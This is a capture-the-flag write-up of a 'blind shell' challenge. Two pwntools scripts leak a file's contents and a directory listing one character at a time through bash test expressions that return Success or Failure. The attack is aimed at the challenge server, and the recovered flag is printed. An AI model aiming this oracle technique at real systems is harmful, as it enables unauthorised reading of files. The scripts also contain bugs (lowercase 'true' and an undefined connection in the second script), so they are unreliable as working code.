# blind_shell_writeup`It's simple enough, either you've succeeded or you've failed.Connect here: nc tasks.kksctf.ru 30010`
Connecting with netcat we're presented with a blind shell accepting only certain commands and responding either with "Success!" or "Failure!". So we thought about a blind attack to try to read the content of the file flag.txt with the bash command `[ $(head -c 1 flag.txt | tail -c 1) = 'a' ]` by incrementing the number of characters read everytime. The script worked like this```from pwn import *import string
payload = "[ $(head -c {} flag.txt | tail -c 1) = '{}' ]"
r = remote("tasks.kksctf.ru", 30010)r.recvuntil("$")flag = ""i = len(flag) + 1found = Falsewhile True:    for l in string.printable:        found = False        r.sendline(payload.format(i, l))        if b"Success" in r.recvuntil("$"):            i = i+1            flag += l            found = true            print("[+] Char found! {}".format(flag))            break    if not found:        flag += " "        i += 1```Unfortunately the flag wasn't there. So we stared looking around with ls using the same technique
```from pwn import *import string
payload = "[ $(ls | head -c {} | tail -c 1) = '{}' ]"
r.recvuntil("$")flag = ""i = len(flag) + 1found = Falsewhile True:    for l in string.printable:        found = False        r.sendline(payload.format(i, l))        if b"Success" in r.recvuntil("$"):            i = i+1            flag += l            found = True            print("[+] Char found! {}".format(flag))            break    if not found:        flag += " "        i+=1 ```We find another file called `maybehere` but reading it doesn't work because it's a directory and the flag is inside! You can check out the final working script in the repo. Finally the flag `kks{Bl1nD_sH311_s2cKs_b4t_Y0U_ar3_amaz19g}`